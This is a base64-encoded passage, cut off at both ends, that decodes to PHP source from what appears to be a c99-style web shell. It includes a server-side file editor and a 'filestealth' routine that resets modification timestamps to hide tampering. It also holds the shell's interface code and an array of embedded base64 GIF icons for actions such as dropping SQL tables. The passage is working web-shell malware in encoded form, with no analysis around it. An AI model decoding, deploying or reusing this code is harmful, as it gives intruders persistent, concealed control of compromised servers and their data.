JHN0YXQgPSBzdGF0KCRkLiRmKTt9CiAgICAkZnAgPSBmb3BlbigkZC4kZiwidyIpOwogICAgaWYgKCEkZnApIHtlY2hvICI8Yj5DYW4ndCB3cml0ZSB0byBmaWxlITwvYj4iO30KICAgIGVsc2UKICAgIHsKICAgICBlY2hvICI8Yj5TYXZlZCE8L2I+IjsKICAgICBmd3JpdGUoJGZwLCRlZGl0X3RleHQpOwogICAgIGZjbG9zZSgkZnApOwogICAgIGlmICgkZmlsZXN0ZWFsdGgpIHt0b3VjaCgkZC4kZiwkc3RhdFs5XSwkc3RhdFs4XSk7fQogICAgICRyID0gJGVkaXRfdGV4dDsKICAgIH0KICAgfQogICAkcm93cyA9IGNvdW50KGV4cGxvZGUoIlxyXG4iLCRyKSk7CiAgIGlmICgkcm93cyA8IDEwKSB7JHJvd3MgPSAxMDt9CiAgIGlmICgkcm93cyA+IDMwKSB7JHJvd3MgPSAzMDt9CiAgIGVjaG8gIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9ZWRpdCZkPSIudXJsZW5jb2RlKCRkKS4iXCIgbWV0aG9kPVBPU1Q+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiU2F2ZVwiPiZuYnNwOzxpbnB1dCB0eXBlPVwicmVzZXRcIiB2YWx1ZT1cIlJlc2V0XCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJidXR0b25cIiBvbmNsaWNrPVwibG9jYXRpb24uaHJlZj0nIi5hZGRzbGFzaGVzKCRzdXJsLiJhY3Q9bHMmZD0iLnN1YnN0cigkZCwwLC0xKSkuIic7XCIgdmFsdWU9XCJCYWNrXCI+PGJyPjx0ZXh0YXJlYSBuYW1lPVwiZWRpdF90ZXh0XCIgY29scz1cIjEyMlwiIHJvd3M9XCIiLiRyb3dzLiJcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJHIpLiI8L3RleHRhcmVhPjwvZm9ybT4iOwogIH0KICBlbHNlaWYgKCFlbXB0eSgkZnQpKSB7ZWNobyAiPGNlbnRlcj48Yj5NYW51YWxseSBzZWxlY3RlZCB0eXBlIGlzIGluY29ycmVjdC4gSWYgeW91IHRoaW5rLCBpdCBpcyBtaXN0YWtlLCBwbGVhc2Ugc2VuZCB1cyB1cmwgYW5kIGR1bXAgb2YgXCRHTE9CQUxTLjwvYj48L2NlbnRlcj4iO30KICBlbHNlIHtlY2hvICI8Y2VudGVyPjxiPlVua25vd24gZXh0ZW5zaW9uICgiLiRleHQuIiksIHBsZWFzZSwgc2VsZWN0IHR5cGUgbWFudWFsbHkuPC9iPjwvY2VudGVyPiI7fQogfQp9Cn0KZWxzZQp7CiBAb2JfY2xlYW4oKTsKICRpbWFnZXMgPSBhcnJheSgKImFycm93X2x0ciI9PgoiUjBsR09EbGhKZ0FXQUlBQUFBQUFBUC8vL3lINUJBVVVBQUVBTEFBQUFBQW1BQllBQUFJdmpJK3B5KzBQRjRpMGdWdnp1VnhYRG5vUSIuCiJTSXJVWkdab2VyS2YyOEtqUE5QT2FrdTVSZlordVFzS2g4UmlvZ0FBT3c9PSIsCiJiYWNrIj0+CiJSMGxHT0RsaEZBQVVBS0lBQUFBQUFQLy8vOTNkM2NEQXdJYUdoZ1FFQlAvLy93QUFBQ0g1QkFFQUFBWUFMQUFBQUFBVUFCUUFBQU04Ii4KImFMcmMvakRLU1dXcGpWeXNTTmlZSjRDVU9CSm9xam5pSUx6d3V6THRZTi8zekJTRXJmNmtCVytnS1JpUFJnaFBoK0VGSzBtT1VFcXQiLgoiV2cwSkFEcz0iLAoiYnVmZmVyIj0+CiJSMGxHT0RsaEZBQVVBS0lBQUFBQUFQLy8vL2o0K04zZDNjek16TEt5c29hR2h2Ly8veUg1QkFFQUFBY0FMQUFBQUFBVUFCUUFBQU5vIi4KImVMcmNyaWJHOTB5NEYxQW11NStOaFkya3hsMkNNS3dyUVJTR3VWanA0TG13REFXcWlBR0ZYQ2hnK3hoblJCK3B0TE9oYWkxY3JFbUQiLgoiRGx3djRjRUM0Nm1pMllnSlFLYXhzRUdERm5uR3dXRFRFemo5anJQUmRiaHVHOENyLzJJTlpJT0VoWHNiRHdrQU93PT0iLAoiY2hhbmdlIj0+CiJSMGxHT0RsaEZBQVVBTVFmQUwzaGo3blgrcHFvMWVqeS9mN1lBY1RiKzh2aCs2RnRINTZXWnR2ci9SQVFFWmVjeDlMbC9QWDYvdjMrIi4KIi8zZUh0NnE4OGVIdS9aa2ZIM3lWeUl1UXQrNzIva09tOTlmby9QOEFabTU3cmtHUzRIZXo2cGlsOW9lcDNHWm1adi8vL3lINUJBRUEiLgoiQUI4QUxBQUFBQUFVQUJRQUFBV2Y0Q2VPWkdtZTZObXRMT3VsWCtjNFRWTlZRN2U5cUZ6Zmc0SEZvbmtkSkE1UzU0Y2JSQW9GeUVPQyIuCiJ3U2lVdG1Za2tyZ3dPQWVBNXpycWFMbGRCaU5NSUplRDI2NlhZVGdRRG01Ung4bWRHK29BYlNZZGFINEdhM2M4SkJNSmFYUUdCUWdBIi4KIkNIa2pFNGFRa1EwQWxTSVRhbitaQVFxa2lpUVBqMUFGQWFNS0VLWWpEMzlRckt3S0FhOG5HUUs4QWd1L0N4VENzQ01leHNmSXhqREwiLgoiek1zaEFEcz0iLAoiZGVsZXRlIj0+CiJSMGxHT0RsaEZBQVVBT1paQVB6OC9OUEZ5TmdITHMwWU92UHo4L2IyOXNhY3BOWFYxZlgxOWN3WE9mRHc4S2VucC9uNStldGdldW5wIi4KIjZkY0dMTU1wUnVycTZwS1NrdHZiMisvdjcrMXdoM1IwZFBuUDE3aUFpcHh5ZWw5Zlg3ZGpjc2NTTTkzZDNaR1JrZUVzVGV2ZDRMQ3ciLgoic0dSa1pHcE9VK0lmUStFUU5vaDZmZEljUGVIaDRZV0ZoYkpRWXZMeTh1aSt4bTV1YnN4Y2NPeDhrY000VXRZOVdlQWRRWW1KaWZXdiIuCiJ2SHg4Zk1uSnljTTNVZjN2OHJSdWU5OE9OYk96czlZRks1U1VsS1lvUCtUazVOMG9TdWZuNTdaR1dzUXJSOWtJTDVDUWtPUGo0MlZsIi4KIlplQVBOdWRBWDlzS01QdjcrMTVRVTV1Ym0zOS9mOGU1dTR4aWF0cmEydWJLejhQRHcrcGZlZTkvbE1LMHQ4MXJmZDhBS2YvLy93QUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ0g1Ii4KIkJBRUFBRmtBTEFBQUFBQVVBQlFBQUFlc2dGbUNnNFNGaG9lSWhpVWZJSW1JTWxnUUI0NkdMQWxZUWthRlZWaFNBSVpMVDVjYkVZSTQiLgoiU1RvNU14T2ZoUXdCQTFnWUNoY2tRQmsxT3dpSUFMQUNMa2d4SmlsVEJJNjlSRmhERmg0SERKUlpWRmdQUEZCUjBGa05XRGRNSEE4RyIuCiJCWlRhTUNJU1ZnTUM0SWtWV0NjYVBTaTk2T3FHTkZoS0kwNGRncjBRV0ZjS0RMM0E0dU9JalZaWkFCeFFJV0RCTGtJRVFyUm9Rc0hRIi4KImp3VkZIQmdpRUdRRklnUWFzWWtjU2JKUUlBQTciLAoiZG93bmxvYWQiPT4KIlIwbEdPRGxoRkFBVUFMTUlBQUQvQUFDQUFJQUFBTURBd0g5L2YvOEFBUC8vL3dBQUFQLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFDSDVCQUVBQUFnQUxBQUFBQUFVQUJRQUFBUk9FTWxKcTcwNFV5R092a0xoZlZVNGtwT0pTcHg1bkY5WWlDdExmMFN1SDdwdSIuCiJFWU9nY0Jna3dBaUdwSEtaekIySnhBREFTUUZDaWRRSnNNZmRHcXNESm5PUWxYVFAzOHByeldiWDNxZ0lBRHM9IiwKImZvcndhcmQiPT4KIlIwbEdPRGxoRkFBVUFQSUFBQUFBQVAvLy85M2QzY0RBd0lhR2hnUUVCUC8vL3dBQUFDSDVCQUVBQUFZQUxBQUFBQUFVQUJRQUFBTTgiLgoiYUxyYy9qREsyUXA5eFY1V2lONUc1MEZaYVJMRDZJaEU2NkxwdDNSRGJkOUNRRlNFNFArK1FXN0hlN1VLUGgwSXFWdzJsMFJRU0VxdCIuCiJXcXNKQURzPSIsCiJob21lIj0+CiJSMGxHT0RsaEZBQVVBTE1BQUFBQUFQLy8vK3JxNnQzZDNjek16TEt5c29hR2htWm1aZ1FFQlAvLy93QUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQ0g1QkFFQUFBa0FMQUFBQUFBVUFCUUFBQVIrTU1rNVRUV0k2aXB5TW9PM2NVV1JnZUpvQ0NhTG9LTzBtcTBaeGpOU0JEV1MiLgoia3JxQXNMZko3WVFCbDR0aVJDWUZTcFBNZFJSQ29RT2lMNGk4Q2daZ2swOVdmV0xCWVpIQjZVV2pDZXF1d0VESHVPRVZLM1F0Z04vaiIuCiJWd01yQkRadmdGK0NoSGFHZVlpQ0JRWUhDSDhWQkphV2RBZVNsNVlpVzUrZ29CSVJBRHM9IiwKIm1vZGUiPT4KIlIwbEdPRGxoSFFBVUFMTUFBQUFBQVAvLy82Q2dwTjNkM2N6TXpJYUdobVptWmw5ZlgvLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFDSDVCQUVBQUFnQUxBQUFBQUFkQUJRQUFBU0JFTWxKcTcwNDYxbTYvK0FIWk1VZ25HaXFuaU5XSEhBc3ozRjdGVUd1NzN4TyIuCiIyQlpjd0dEb0VYay9VcTRJQ0FDZVE2ZnptWFRsbnMwZGRsZTk5YjdjRnZZcEVSNTVaMTBYeTFsS3Q4d3BvSXNBQ3JkYXFCcFlFWUsvIi4KImRIMUxSV2lFZTBwUlRYQnZWSHdVZDNvNmVENk9IQVNYbUptYW1KVVNZNStnbnh1anBCSVJBRHM9IiwKInJlZnJlc2giPT4KIlIwbEdPRGxoRVFBVUFMTUFBQUFBQVAvLy8vSHg4ZXJxNnVQajQ5M2QzY3pNekxLeXNvYUdobVptWmw5Zlh3UUVCUC8vL3dBQUFBQUEiLgoiQUFBQUFDSDVCQUVBQUF3QUxBQUFBQUFSQUJRQUFBUjFrTWxKcTBRNDYweFIrR0FvSU12a2hlSVlsTXlKQmtKOGxtNll4TUtpNnpXWSIuCiIzQUtDWWJqby9ZNEVRcUZnS0lZVWg4RXZ1V1E2UHdQRlFKcFVMcHVuclhaTHJZS3gyMEczb0RBNzA5M0VzdjE5cTVPL3dvRnU5WkFKIi4KIlIzbHVmbVdDVlgxM2gzS0hmV1dNakdCRGtwT1VUVHVYbUpnUkFEcz0iLAoic2VhcmNoIj0+CiJSMGxHT0RsaEZBQVVBTE1BQUFBQUFQLy8vK3JxNnQzZDNjek16TURBd0xLeXNvYUdobmQzZDJabVpsOWZYMDFOVFNrcEtRUUVCUC8vIi4KIi93QUFBQ0g1QkFFQUFBNEFMQUFBQUFBVUFCUUFBQVNuME1sNXFqMHo1eHI2K0paR2VVWnBISXFSTk9JUmZJWWl5K2E2dmNPcEhPYXAiLgoiczVJS1FjY3o4WGdLNEVHZ1FxV012a3JTc2N5bGhvYUZWbXVaTGdVREFuWnhFQk1PRFNucmtoaVNDWjRDR3JVV01BK0xMRHh1U0hzRCIuCiJBa040QzNzZkJYMTBWSGFCSjRRZkE0ZUlVNHBpalFjRm1DVm9Oa0ZsZ2djTVJTY05TVUNkSnlob0Rhc05aNU1URFZzWEJ3bHZpUm1yIi4KIkNicTdDNnNJcnFhd3JLd1R2NjhpeUE2ckRoRUFPdz09IiwKInNldHVwIj0+CiJSMGxHT0RsaEZBQVVBTVFBQUFBQUFQLy8vL2o0K09QajQ5M2QzY3pNek1EQXdMS3lzcGFXbG9hR2huZDNkMlptWmw5ZlgwMU5UVUpDIi4KIlFod2NIUC8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNINUJBRUEiLgoiQUJBQUxBQUFBQUFVQUJRQUFBV1ZJQ1NLaWtLV2FEbXVTaENVYmp6TXdFb0doVnZzZkhFRU5SWU9nZWdsamtlZzBQRjRLQklGUk1JQiIuCiJxQ2FDSjRlSUdRVm9JVldzVGZRb1hNZm9VZm1NWnJnWjJHTkRQR0lJN2dKRExZRXJ3RzF2Z1c4Q0NRdHpnSGlKQW5hRmh5dDJkd1FFIi4KIk93Y01ab1owa0pLVWxaZU9kUUtiUGdlZGpabWhuQWNKbHFhSXFVZXNtSWlrcEVpeG55Smh1bFVNaGcyNGFTTzZZeUVBT3c9PSIsCiJzbWFsbF9kaXIiPT4KIlIwbEdPRGxoRXdBUUFMTUFBQUFBQVAvLy81eWNBTTdPWS8vL25QLy96di9PblBmMzkvLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFDSDVCQUVBQUFnQUxBQUFBQUFUQUJBQUFBUlJFTWxKcTcwNDZ5cDZCeHNpSEVWQkVBS1lDVVByRHA3SGxYUmRFb01xQ2VicCIuCiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSIsCiJzbWFsbF91bmsiPT4KIlIwbEdPRGxoRUFBUUFIY0FBQ0g1QkFFQUFKVUFMQUFBQUFBUUFCQUFod0FBQUllcDNCRTltbGxpYzNCNWlWcGpkTXZoL01MYyt5MVUiLgoicDlQbS9HVnVmYzdqL016Vi85WG0vRU9tOTlibi9OanAvYTdRK3RUbS9MSFMrZVh3L3Qzci9ObnAvZGpvL05ycS9majcvOXZxL05mbyIuCiIvTWJlKzhyaC9NbmcrN2pXK3J2WStyN1orN1hSOWREay9OSGsvTkxsL0xUVStyblgrOHppL0xiVisrZngvZTcyL3ZIMy92TDQvdTMxIi4KIi9lMzEvdUR1L2R6ci9PcnovZUh1L2ZYNi92SDQvdi8vLy92Ky8zZXo2dmY3Ly9UNS9rR1M0UHY5LzdYVitySFQrci9iK3J6YSt2UDQiLgoiL3V6MC91cnovdTcxL3V2ei9kVG4vTS9rL04zcy9kdnIvY2pnKzhQZCs4SGMrc2ZmKzhUZSsvRDIvclhJOHJIRjhick04N2ZKOG5tUCIuCiJ3cjNOODYvRDhLdkI4RjluZUVGb3RFQm50RU5wdEVOcHRTeFVweDFJb0RsZnJUUmNyWmVleVphY3hwbWh6SXVSdHBXWnhJdU91S3F6Ii4KIjlaT1d3WDZJczNXSXU1aW0wN3JKOUoydDJaZWswbTU3cnBxbzFuS0N0VVZydFlpcjN2ZjYvNDZ2NFl1dTRXWnZmcjdQNnNQUzZzRFEiLgoiNjZYQjZjalo4YS9LNzkvcy9kYm4vZXp6L2N6ZDltTjBqS1RCNmFpLzc2Vzk3bmlYejJHQ3dWNkF3VWRzdFh5VnlHU0R3bm1ZejRpbyIuCiIyNE9pMWEzQjQ1U3k0YWU5NDRDY3o0U2oxbjJHbGdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQWpuQUN0VkNrQ3c0SnhKQVFRcUZCakF4bzBNTkdxc0FCUUFoNkNGQTNuazBNSGlSUkVWRGh6c29MUXdBSjBnVDRUb2VjU0hBWU16Ii4KImFRZ29ETkNDU0I0RUFuSW1DaVNCalV5R0xvYmdYQlRwa0FBNUk2cGdtU2tEejVjdU1Tejh5V2xBeW9DWkZHYjRTUUtoQVNNQlhKcE0iLgoidVNyUUVRd2tHallrUUNUQXk2QWxVTWhXa2xRQnc0TUVoZ1NBNlhQZ1J4UzVpaTQwS0xGZ2k0QkdURUtBc0NLWGloRVNDenJzZ1NRQyIuCiJ5SWtVVitTcU9ZTENBNGNzQXVwODZPR0RrTnc0QnBRNE9hQkZnQjBURXlJVUtxRHdUUnM0YTl5TUNTT21EQm95WnU0c0pLQ2d3SURqIi4KInlBc29rQmtRQURzPSIsCiJtdWx0aXBhZ2UiPT4iUjBsR09EbGhDZ0FNQUpFREFQLy8vLy8zbVFBQUFBQUFBQ0g1QkFFQUFBTUFMQUFBQUFBS0FBd0FBQUlqM0lSIi4KInBKaENPRG5vdmlkQW92QmRNenpraXhsWGRsSTJvWnBKV0VzU3l3THpSVUFBQU93PT0iLAoic29ydF9hc2MiPT4KIlIwbEdPRGxoRGdBSkFLSUFBQUFBQVAvLy85VFF5SUNBZ1AvLy93QUFBQUFBQUFBQUFDSDVCQUVBQUFRQUxBQUFBQUFPQUFrQUFBTWEiLgoiU0xyY1BjRTlHS1VhUWxRNXNONVBsb0ZMSjM1T29LNnE1U1lBT3c9PSIsCiJzb3J0X2Rlc2MiPT4KIlIwbEdPRGxoRGdBSkFLSUFBQUFBQVAvLy85VFF5SUNBZ1AvLy93QUFBQUFBQUFBQUFDSDVCQUVBQUFRQUxBQUFBQUFPQUFrQUFBTWIiLgoiU0xyY09qQkNCNFVWSVRneUx0NWNoMm1nU0paREJpN3A2aElKQURzPSIsCiJzcWxfYnV0dG9uX2Ryb3AiPT4KIlIwbEdPRGxoQ1FBTEFQY0FBQUFBQUlBQUFBQ0FBSUNBQUFBQWdJQUFnQUNBZ0lDQWdNREF3UDhBQUFEL0FQLy9BQUFBLy84QS93RC8iLgoiLy8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU13QUFaZ0FBbVFBQXpBQUEvd0F6QUFBek13QXpaZ0F6bVFBenpBQXovd0JtIi4KIkFBQm1Nd0JtWmdCbW1RQm16QUJtL3dDWkFBQ1pNd0NaWmdDWm1RQ1p6QUNaL3dETUFBRE1Nd0RNWmdETW1RRE16QURNL3dEL0FBRC8iLgoiTXdEL1pnRC9tUUQvekFELy96TUFBRE1BTXpNQVpqTUFtVE1BekRNQS96TXpBRE16TXpNelpqTXptVE16ekRNei96Tm1BRE5tTXpObSIuCiJaak5tbVRObXpETm0vek9aQURPWk16T1paak9abVRPWnpET1ovelBNQURQTU16UE1aalBNbVRQTXpEUE0velAvQURQL016UC9aalAvIi4KIm1UUC96RFAvLzJZQUFHWUFNMllBWm1ZQW1XWUF6R1lBLzJZekFHWXpNMll6Wm1Zem1XWXp6R1l6LzJabUFHWm1NMlptWm1abW1XWm0iLgoiekdabS8yYVpBR2FaTTJhWlptYVptV2FaekdhWi8yYk1BR2JNTTJiTVptYk1tV2JNekdiTS8yYi9BR2IvTTJiL1ptYi9tV2IvekdiLyIuCiIvNWtBQUprQU01a0FacGtBbVprQXpKa0EvNWt6QUprek01a3pacGt6bVprenpKa3ovNWxtQUpsbU01bG1acGxtbVpsbXpKbG0vNW1aIi4KIkFKbVpNNW1aWnBtWm1abVp6Sm1aLzVuTUFKbk1NNW5NWnBuTW1abk16Sm5NLzVuL0FKbi9NNW4vWnBuL21abi96Sm4vLzh3QUFNd0EiLgoiTTh3QVpzd0FtY3dBek13QS84d3pBTXd6TTh3elpzd3ptY3d6ek13ei84eG1BTXhtTTh4bVpzeG1tY3htek14bS84eVpBTXlaTTh5WiIuCiJac3labWN5WnpNeVovOHpNQU16TU04ek1ac3pNbWN6TXpNek0vOHovQU16L004ei9ac3ovbWN6L3pNei8vLzhBQVA4QU0vOEFadjhBIi4KIm1mOEF6UDhBLy84ekFQOHpNLzh6WnY4em1mOHp6UDh6Ly85bUFQOW1NLzltWnY5bW1mOW16UDltLy8rWkFQK1pNLytaWnYrWm1mK1oiLgoielArWi8vL01BUC9NTS8vTVp2L01tZi9NelAvTS8vLy9BUC8vTS8vL1p2Ly9tZi8velAvLy95SDVCQUVBQUJBQUxBQUFBQUFKQUFzQSIuCiJBQWc0QVA4SlJFRlE0RCtDQ0JPaTRNYXdJVGVGQ2cvaVFoRVB4Y1NCbEZDb1E1Rng0TVNLdjFCZ1JHR01vMGlKRkMyZWhIalNvTXQvIi4KIkFRRUFPdz09IiwKInNxbF9idXR0b25fZW1wdHkiPT4KIlIwbEdPRGxoQ1FBS0FQY0FBQUFBQUlBQUFBQ0FBSUNBQUFBQWdJQUFnQUNBZ0lDQWdNREF3UDhBQUFEL0FQLy9BQUFBLy84QS93RC8iLgoiLy8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU13QUFaZ0FBbVFBQXpBQUEvd0F6QUFBek13QXpaZ0F6bVFBenpBQXovd0JtIi4KIkFBQm1Nd0JtWmdCbW1RQm16QUJtL3dDWkFBQ1pNd0NaWmdDWm1RQ1p6QUNaL3dETUFBRE1Nd0RNWmdETW1RRE16QURNL3dEL0FBRC8iLgoiTXdEL1pnRC9tUUQvekFELy96TUFBRE1BTXpNQVpqTUFtVE1BekRNQS96TXpBRE16TXpNelpqTXptVE16ekRNei96Tm1BRE5tTXpObSIuCiJaak5tbVRObXpETm0vek9aQURPWk16T1paak9abVRPWnpET1ovelBNQURQTU16UE1aalBNbVRQTXpEUE0velAvQURQL016UC9aalAvIi4KIm1UUC96RFAvLzJZQUFHWUFNMllBWm1ZQW1XWUF6R1lBLzJZekFHWXpNMll6Wm1Zem1XWXp6R1l6LzJabUFHWm1NMlptWm1abW1XWm0iLgoiekdabS8yYVpBR2FaTTJhWlptYVptV2FaekdhWi8yYk1BR2JNTTJiTVptYk1tV2JNekdiTS8yYi9BR2IvTTJiL1ptYi9tV2IvekdiLyIuCiIvNWtBQUprQU01a0FacGtBbVprQXpKa0EvNWt6QUprek01a3pacGt6bVprenpKa3ovNWxtQUpsbU01bG1acGxtbVpsbXpKbG0vNW1aIi4KIkFKbVpNNW1aWnBtWm1abVp6Sm1aLzVuTUFKbk1NNW5NWnBuTW1abk16Sm5NLzVuL0FKbi9NNW4vWnBuL21abi96Sm4vLzh3QUFNd0EiLgoiTTh3QVpzd0FtY3dBek13QS84d3pBTXd6TTh3elpzd3ptY3d6ek13ei84eG1BTXhtTTh4bVpzeG1tY3htek14bS84eVpBTXlaTTh5WiIuCiJac3labWN5WnpNeVovOHpNQU16TU04ek1ac3pNbWN6TXpNek0vOHovQU16L004ei9ac3ovbWN6L3pNei8vLzhBQVA4QU0vOEFadjhBIi4KIm1mOEF6UDhBLy84ekFQOHpNLzh6WnY4em1mOHp6UDh6Ly85bUFQOW1NLzltWnY5bW1mOW16UDltLy8rWkFQK1pNLytaWnYrWm1mK1oiLgoielArWi8vL01BUC9NTS8vTVp2L01tZi9NelAvTS8vLy9BUC8vTS8vL1p2Ly9tZi8velAvLy95SDVCQUVBQUJBQUxBQUFBQUFKQUFvQSIuCiJBQWdqQVA4SlJFRlE0RCtDQ0JPaU1NaFFvY0tERUJjdWpFaVJvc1NCRmpGZW5PaHdZVUFBT3c9PSIsCiJzcWxfYnV0dG9uX2luc2VydCI9PgoiUjBsR09EbGhEUUFNQVBjQUFBQUFBSUFBQUFDQUFJQ0FBQUFBZ0lBQWdBQ0FnSUNBZ01EQXdQOEFBQUQvQVAvL0FBQUEvLzhBL3dELyIuCiIvLy8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTXdBQVpnQUFtUUFBekFBQS93QXpBQUF6TXdBelpnQXptUUF6ekFBei93Qm0iLgoiQUFCbU13Qm1aZ0JtbVFCbXpBQm0vd0NaQUFDWk13Q1paZ0NabVFDWnpBQ1ovd0RNQUFETU13RE1aZ0RNbVFETXpBRE0vd0QvQUFELyIuCiJNd0QvWmdEL21RRC96QUQvL3pNQUFETUFNek1BWmpNQW1UTUF6RE1BL3pNekFETXpNek16WmpNem1UTXp6RE16L3pObUFETm1Nek5tIi4KIlpqTm1tVE5tekRObS96T1pBRE9aTXpPWlpqT1ptVE9aekRPWi96UE1BRFBNTXpQTVpqUE1tVFBNekRQTS96UC9BRFAvTXpQL1pqUC8iLgoibVRQL3pEUC8vMllBQUdZQU0yWUFabVlBbVdZQXpHWUEvMll6QUdZek0yWXpabVl6bVdZenpHWXovMlptQUdabU0yWm1abVptbVdabSIuCiJ6R1ptLzJhWkFHYVpNMmFaWm1hWm1XYVp6R2FaLzJiTUFHYk1NMmJNWm1iTW1XYk16R2JNLzJiL0FHYi9NMmIvWm1iL21XYi96R2IvIi4KIi81a0FBSmtBTTVrQVpwa0FtWmtBekprQS81a3pBSmt6TTVrelpwa3ptWmt6ekprei81bG1BSmxtTTVsbVpwbG1tWmxtekpsbS81bVoiLgoiQUptWk01bVpacG1abVptWnpKbVovNW5NQUpuTU01bk1acG5NbVpuTXpKbk0vNW4vQUpuL001bi9acG4vbVpuL3pKbi8vOHdBQU13QSIuCiJNOHdBWnN3QW1jd0F6TXdBLzh3ekFNd3pNOHd6WnN3em1jd3p6TXd6Lzh4bUFNeG1NOHhtWnN4bW1jeG16TXhtLzh5WkFNeVpNOHlaIi4KIlpzeVptY3laek15Wi84ek1BTXpNTTh6TVpzek1tY3pNek16TS84ei9BTXovTTh6L1pzei9tY3ovek16Ly8vOEFBUDhBTS84QVp2OEEiLgoibWY4QXpQOEEvLzh6QVA4ek0vOHpadjh6bWY4enpQOHovLzltQVA5bU0vOW1adjltbWY5bXpQOW0vLytaQVArWk0vK1paditabWYrWiIuCiJ6UCtaLy8vTUFQL01NLy9NWnYvTW1mL016UC9NLy8vL0FQLy9NLy8vWnYvL21mLy96UC8vL3lINUJBRUFBQkFBTEFBQUFBQU5BQXdBIi4KIkFBZ3pBRkVJSEVpd29NR0RDQkg2VzBndG9VQi8vMUJFTk9pUDJzS0VDek5lTklpcVkwZC9GQmYreTBqUjQ4ZVFHVWM2SkJnUUFEcz0iLAoidXAiPT4KIlIwbEdPRGxoRkFBVUFMTUFBQUFBQVAvLy8vajQrT1BqNDkzZDNjek16TEt5c29hR2hrMU5UZi8vL3dBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFDSDVCQUVBQUFrQUxBQUFBQUFVQUJRQUFBUjBNTWxKcTczNG5zMVBua2NnamdYd2hjTlFySVZobUZvbnp4d1FqbmllMjdqZyIuCiIrNFFneTNYZ0JYNElvSERsTWhSdmdnRmlHaVN3V3M1WHlEZnRXcGxFSis5SFFDeXgyYzFZRURSZnd3Znh0b3A0cDUzUHdMS09qdnZWIi4KIklYdGRnd2dkUEdkWWZuZzFJVmVKYVRJQWtwT1VsWllmSHhFQU93PT0iLAoid3JpdGUiPT4KIlIwbEdPRGxoRkFBVUFMTUFBQUFBQVAvLy85M2QzY3pNekxLeXNvYUdobVptWmw5Zlh3UUVCUC8vL3dBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFDSDVCQUVBQUFrQUxBQUFBQUFVQUJRQUFBUjBNTWxKcXl6RmFscUVRSnVHRVFTQ25XZzZGb2dwa0hBTUY0SEFKc1doNy96ZSIuCiJFUVlRTFVBc0dnTTBXd3QzYkNKZlFTRngxMHl5QmxKbjhSZkVNZ005WCszcUhXcTVpRUQ1eUNzTUNsMTExa25EcHVYZllscytJSzYxIi4KIkxYZCtXV0VITFVkL1RvSkZaUU9PajVDUmppQ0JsWmFYSUJFQU93PT0iLAoiZXh0X2FzcCI9PgoiUjBsR09EZGhFQUFRQUxNQUFBQUFBSUFBQUFDQUFJQ0FBQUFBZ0lBQWdBQ0FnTURBd0lDQWdQOEFBQUQvQVAvL0FBQUEvLzhBL3dELyIuCiIvLy8vL3l3QUFBQUFFQUFRQUFBRVN2RElTYXNGMk42RE1OQVM4QnhmbDFVaU9aWWU5YVV3Z3BEVHE2cVAvSVgwT3o3QVhVLzFlUmdJIi4KIkQ2SFBoempTZUxZZFlhYnNEQ1dNWndoZzNXV3RLSzRRck1Ib2hDQVMraEFCQURzPSIsCiJleHRfbXAzIj0+CiJSMGxHT0RsaEVBQVFBQ0lBQUNINUJBRUFBQVlBTEFBQUFBQVFB